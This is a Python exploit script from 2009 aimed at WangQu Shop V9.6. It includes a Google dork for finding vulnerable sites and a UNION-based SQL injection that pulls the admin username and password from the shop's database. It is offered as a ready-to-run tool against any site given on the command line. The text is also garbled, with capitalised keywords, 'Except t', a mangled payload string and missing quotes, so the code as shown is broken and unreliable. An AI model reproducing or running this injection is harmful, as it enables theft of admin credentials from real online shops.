######################################## ########################################
# Wangqu shopping mall V9.6SQL injection program
# NaMe: WangQu Shop V9.6 SQL Injection Vulnerability
# Author: shaun
# Blog: www.virusest.com
# Contact: virusest@gmail.com QQ: 403688546
# Google Dork: inurl: class. asp? Lx + anid
# Script site: http://www.cnhww.com/
# Date: 20/12/2009
######################################## ########################################
Import sys
Import OS
Import time
Import http. client
If sys. platform = linux or sys. platform = linux2:
Clearing = clear
Else:
Clearing = cls
OS. system (clearing)
If len (sys. argv )! = 2:
Print ("-----------------------------------------------------------------")
Print ("| virusest@gmail.com | ")
Print ("| 12/09 WangQU shop SQL Injection Tool | ")
Print ("| Help: 1.py-h | ")
Print ("| Visit www.virusest.com | ")
Print ("| --------------------------------------------------------------- | ")
Sys. exit (1)
For arg in sys. argv:
If arg =-h:
Print ("-------------------------------------------------------------")
Print ("| virusest [@] gmail [dot] com | ")
Print ("| 12/09 WangQU shop SQL Injection Tool | ")
Print ("| Usage: 1.py www.site.com newsid | ")
Print ("| Example: 1.py www.virusest.com 65 | ")
Print ("| Visit www.virusest.com | ")
Print ("| ------------------------------------------------------------ | ")
Sys. exit (1)
Site = sys. argv [1]. replace ("http: //", ""). rsplit ("/", 1) [0]
Site = site. lower ()
Injecturl =/textbox2.asp? Action = modify & newsid = 65% 20and % 201 = 2% 20 union % 20 select % ,,2, admin % 2 Bpassword, 8%, 20 from % 20 cnhww
Print ("--------------------------------------------------------------------------------")
Print ("| virusest@gmail.com | ")
Print ("| 12/09 WangQU shop SQL Injection Tool | ")
Print ("| Visit www.virusest.com | ")
Print ("[-] % s" % time. strftime ("% X "))
Print ("[+] Target:", site)
Print ("[+] Cracking, wait .....")
Try:
Conn = http. client. HTTPConnection (site)
Conn. request ("Get", injecturl)
Response = conn. getresponse ()
Page = response. read ()
Response. close ()
Print (page)
Except T (KeyboardInterrupt, SystemExit ):
Raise
Except t:
Print ("cancel ")
Pass